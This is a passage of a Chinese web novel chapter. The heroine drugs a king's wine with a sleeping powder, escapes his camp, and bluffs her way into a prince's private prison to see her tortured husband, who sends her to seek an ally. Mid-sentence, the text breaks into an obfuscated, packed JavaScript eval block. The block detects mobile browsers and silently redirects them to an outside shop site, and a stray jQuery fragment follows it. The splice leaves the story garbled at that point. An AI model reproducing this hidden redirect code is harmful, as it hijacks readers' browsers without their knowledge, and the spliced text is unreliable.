可是做出这样的决定无异于背叛她对天地的许诺,对沈玄苏的承诺,对一纸婚书的誓言。
婵鸢闭了闭眼,脑海中轻柔地浮现出沈玄苏的脸……他在山神庙的篝火前与她拜天地时的模样,他在河边笨拙地洗衣裳时的模样,他在废窑中被折磨得遍体鳞伤却依然笑着安抚她的模样……
这些模样组成了一个鲜活的他。
尽管婵鸢觉得他对自己还是有所隐瞒,但她不想背叛自己那一刻的真心。
婵鸢别过脸,心乱如麻,“叶亭,你出去吧,我再想想。”
叶亭见她没有拒绝,眼底迸发出欣喜,“阿婵,我不会让你后悔的。”
婵鸢淡淡点头,抬眸望向帐篷外沉沉的夜色中,心中只有一个念头。
沈玄苏,你一定要等我。
当夜,叶亭在营地中设宴,篝火燃起,整只的烤羊被架上火堆,西凉的将士们围坐在火堆边,大口吃肉,大碗喝酒,唱着悠扬而苍凉的民歌。
叶亭坐在主位上,身边特意留了一个空位,让婵鸢坐在他身侧。
他频频为她夹菜、斟酒,殷勤得像是要弥补所有的亏欠。
婵鸢始终兴趣缺缺,来者不拒,他夹菜她便吃,他斟酒她便喝,甚至还主动回敬了他几杯。
叶亭在不知不觉中喝了很多酒,话也比平时多了许多,跟她讲西凉的风景、讲他如何从一个流亡的将领一步步成为西凉的王、讲他这些日子如何在每一个孤独的夜晚想起她。
婵鸢听着,微笑着,适时地点头附和,然后在所有人都没有注意到的时候,将袖中一包药粉悄无声息地洒进了叶亭的酒壶里。
那药是她从琼华楼带出来的,无色无味,溶于酒后毫无痕迹,服用后会使人陷入沉睡,至少要六个时辰才能醒来。
她本来是为防身准备的,没想到会用在这个时候。
对不起了,叶亭。
她看着叶亭又倒了一杯酒喝下,看着他眼神逐渐变得涣散,靠在椅背上缓缓闭上了眼睛,心中没有愧疚,只有平静。
她站起身,对周围的将士说:“王醉了,我扶他回帐休息。”
没有人怀疑她,婵鸢就扶着叶亭回到他的帐篷,将他放在床上,盖上毯子,然后站在床边低头看了他片刻。
他睡着的样子比醒着时要单纯许多,眉头舒展开来,嘴角还带着一丝笑意,像是在做一个美好的梦。
真可爱,也真傻。
婵鸢掀开帐帘,走了出去。
她没有往营地大门的方向走,那里守卫森严,她不可能闯过去。
她朝着营地后方走去,那里是马厩,白天她留意过,马厩后面有一条小路通向山下的河谷,沿着河谷走,可以绕过营地的哨卡。
她刚走到马厩门口,身后传来一个声音:“殿下,这么晚了,要去哪里?”
婵鸢的脚步顿住了,她缓缓转过身,看见一个身穿西凉铠甲的将领站在她身后不远处,手里握着一柄出鞘的弯刀戒备。
“王醉了,我去给他打些热水来擦脸。”婵鸢面不改色地说。
那将领微微一笑:“那就好。王吩咐过,如果您想逃,就让我们把您请回去。”
婵鸢叹了口气,“有你们这样看管,我想逃也难。”
侍卫见状,索性不再管她了。
她走到崖边,夜风从河谷吹上来,拂动她的衣摆和鬓边的碎发,她抬起头,望向远处黑沉沉的群山。
山的那一边是永州的方向,可她被困在这里,四面都是高墙和刀剑,寸步难行。
不会的,叶亭困不住她,谁也困不住她,她是自由的,叶亭不帮她,她自己帮自己。
不过蓝峥、蛇使双双失联,杳无音讯。
蓝峥与叶亭师出同门,彼此知根知底,蛇使擅长隐匿追踪,向来无往不利,如今却迟迟未曾现身营救,唯一的可能,便是二人遭遇埋伏,身陷险境,甚至已然出事。
婵鸢狠下心来,纵身一跃,朝着河谷凹陷的平缓处滚去。
她铁了心要逃,这一次若是逃不出去,叶亭再有机会抓住她,她就再无逃脱的可能。
夜风猎猎,卷着河谷深处的寒凉,狠狠拍在婵鸢身上。
崖坡并不陡峭,遍布丛生的荒草与碎石,她顺着凹陷的地势急速翻滚,粗糙的石砾瞬间划破她的衣袖,剧痛密密麻麻袭来,可婵鸢浑然不觉。
她借着翻滚的惯性卸去下坠之力,在坡底稳稳落地,踉跄两步撑住身旁的石壁,稳住身形。
头顶崖边传来隐约的脚步声与交谈声,西凉将士已然发现她消失不见,仓促巡查。
婵鸢不敢停顿,弯腰俯身,借着浓重夜色与参天草木的遮蔽,不顾一切朝着幽深河谷深处狂奔。
河谷蜿蜒曲折,水声潺潺,婵鸢爆发出极致的潜能,避开沿途的荆棘乱石,专挑最隐蔽的密林小径穿行,一路甩开身后零星的搜捕踪迹。
她跑着跑着,有些无助。
如今她孤身一人,无兵无援,仅凭一己之力,要闯回永州虎狼窝,从睿王的暗狱之中,救出遍体鳞伤的沈玄苏,谈何容易?
夜色深沉,星月隐没,山林间黑雾沉沉,伸手不见五指,婵鸢奔跑许久,气息渐渐紊乱,胸口泛起阵阵闷痛,身上的擦伤被夜风一吹,火辣辣的疼。
她缓缓停下脚步,靠在一棵粗壮的古树上,弯腰大口喘息。
她本可以把此事交给西窗去做,可是西窗众人早已被她遣散,如今时局动荡,若发射信号,又没有十成胜利的把握,她怎么好劳烦他们抛妻弃子,舍出性命护着她?
左右娘还在,豁出她一个去救人,到时就算没了她,娘也能把西窗撑起来。
只是,睿王、晋王、二皇子、叶亭……所有困住他们、伤害他、算计他们的人,今日她逃出生天,来日必一一清算。
稍作调息,婵鸢直起身,抬手整理好凌乱的衣衫,继续朝前疾驰。
此时此刻,永州暗狱。
潮湿阴冷的石牢之中,死寂沉沉,沈玄苏半靠在石壁上,满身血污,气息微弱。
刚刚他又经历过一轮残暴殴打,浑身骨骼仿佛尽数碎裂,每一次呼吸都牵扯着撕裂般的剧痛,身躯和意志在争着第一个崩溃。
睿王白日在狱中动怒折辱审讯他,夜里果然不耐狱中阴寒污浊,早已回城中别院歇息,只留一众值守侍卫轮班看守。
夜色浸透永州街巷,整座城池如沉死寂。
婵鸢一路穿山越谷,脚下磨出层层血泡,衣衫被荆棘划得破烂不堪,浑身尘土狼狈,却半点不敢停歇。
她凭着极强的方向感,一路奔回永州城西,唯一的一座高墙黑瓦宅院。
婵鸢抬手胡乱理了一把乱发,拍去表面浮尘,径直走向私狱正门。
门口两名持刀守卫立刻横刀拦下,冷声呵斥:“站住!深夜禁地,何人擅闯?”
婵鸢眼皮都未抬,语气冷淡骄矜:“睿王妃今夜心绪不宁,记起白日王爷在此动怒,唯恐狱中人犯苟延残喘、暗中藏诈,命我亲自过来查看一眼,给他点教训,省得王爷又不高兴。”
守卫一愣,顿时迟疑。
私狱乃是睿王绝密禁地,寻常传命皆是内侍,极少由女眷侍女前来。
但是虞溪出身名门,娇矜善妒、性子极傲,挑剔至极,最厌狱中小厮肮脏粗鄙,素来不许下人近身,让一个侍女跑腿传命,倒也合理。
其中领头的侍卫皱眉审视:“可有王爷手令?深夜探狱,不合规矩。”
婵鸢早料他们会盘问,幸好她对虞溪非常了解,抬眼淡淡扫过二人,语气更冷:“王妃若是想让王爷知道,还用得着我来吗?王妃年少时被歹徒抓去过清宵山土匪窝,九死一生,从那之后便嫌牢狱阴秽血腥,从不愿让王爷踏足半步,今日若非放心不下王爷心绪,岂会遣我秘密来此?你们倒是敢拦!”
她微微抬颌:“王妃嫁给睿王之前,曾被指婚给里面那人,又被辜负过,她向来最恨此人,嫁给睿王后方才得了幸。白日王爷在此动刑,心绪郁结,王妃看在眼里,夜里难安,不过是命我来确认
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17763752|204295||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
人犯状态,免得王爷明日再来烦心……好,你们不放我进,我现在就回府如实禀报,说你们推三阻四、怠慢王妃吩咐!你们该知道,咱们王妃是个什么脾气,眼里容不得半分违逆!”
这一段话半分不虚,虞溪善妒、骄矜、记仇、护夫、最厌太子,随侍睿王的人无人不知。
几名守卫神色瞬间大变。
他们不怕常年冷厉的睿王,却最怕心胸狭隘、最爱秋后算账的睿王妃。
王爷喜怒尚可周旋,王妃一旦记恨,轻则杖责撵出,重则发配流放,从无缓和余地,更何况这番说辞,细节、语气、脾性,分毫不差,绝不是外人能杜撰出来的。
领头侍卫彻底放下戒备,连忙收刀退让,不敢再多盘问半句,恭声道:“原来是王妃身边的姐姐,是属下冒昧了。请进,请进。”
婵鸢心底悬着的巨石轰然落地,面上却依旧冷淡无波,垂着眸,装作早已习惯众人恭敬的模样,稳步踏入阴森狱道。
铁门在身后沉沉合上,阴冷潮湿的腥腐气息扑面而来,比白日更甚,
长廊尽头,只有零星灯火摇曳,映得满地斑驳血痕狰狞可怖。
婵鸢一步一步往前走,心跳擂鼓,手控制不住的发颤。
她走过层层狱室,终于在最深处、最幽暗的单间囚牢里,看见了他。
沈玄苏半靠在粗砺石壁上,满身破碎血衣,皮肉翻裂,旧伤新伤层层叠加,青紫淤血遍布周身,左肩高高肿起,铁链穿透四肢,牢牢锁死在石壁铁扣之上,将他困在方寸阴寒之地,他本就孱弱的身躯被折磨得近乎支离破碎,连抬眸的力气都快要耗尽。
他微微垂着头,呼吸微弱绵长,安静得让人心慌。
听见脚步声靠近,沈玄苏极缓地抬眸,那双黯淡却依旧清明的凤目,落在牢门口那道熟悉身影上时,他整个人微微一滞。
灯影摇晃,照见婵鸢眼底瞬间崩裂的红。
婵鸢再也装不住半点镇定,快步冲到牢门前,顿感无力。
她骗得过守卫,闯得进私狱,可她无权、无兵、无势力,整座永州皆是睿王眼线,她孤身一人,什么都没有,竟完全不知道该怎么救他出去。
千辛万苦奔赴而来,到头来,她只能站在牢外,看着他受苦,束手无策。
婵鸢低着脑袋哭:“……对不起,我怎么才能救你……”
沈玄苏静静望着她泪流满面的模样,眼底掠过浅柔的暖意,他缓缓动了动干裂的唇,“鸢儿,你来做什么?这座私狱的守备森严,老九的手段狠辣,你快些出去,我死不了。”
婵鸢泪眼朦胧望着他,气不打一处来:“你这样子还不如死了呢,你看你都被打成什么样了,这帮挨千刀的畜生……不行,我不能留你在这里受死,我拼死也要带你走!”
沈玄苏微微摇头,眸光沉静,低声托付:“听我说,你现在,立刻离开这里,去找慕容棣。”
婵鸢情绪很低落:“慕容棣就能撼动如今盘根错节的朝堂势力,能从睿王私狱救人?”
沈玄苏隔着牢狱的栏杆,抚摸着她的眉眼:“莫怕,我也不是胡乱找个人就肯帮我的。如今朝野三方制衡,晋王与众皇子间互相牵制,唯独慕容氏游离所有党争之外,慕容太师更是忠臣,他与我有共同的秘密,这天下之人皆可害我,唯独他慕容氏,必肯帮我。”
婵鸢含泪质疑:“你就能确定他就是好人?好吧,我且信你。我去找他,你撑住,你一定要撑到我回来!”
沈玄苏望着她,满目温柔,轻轻颔首:“鸢儿,辛苦你了。”
婵鸢摇头,狠狠道:“不许说这样的话。”
长廊远处隐约传来侍卫走动的声响,假侍女的身份撑不了太久,她必须立刻撤离。
“快走。”沈玄苏低声催她,“别回头,别露破绽,保全自己,就是救我。”
婵鸢擦擦眼泪,点点头,赶在侍卫赶到之前,她撩裙跪起在脏污的血地中,手臂穿过栏杆,揽住了他的后脑,在他额间污渍中轻轻一吻,轻声许诺:“等我。”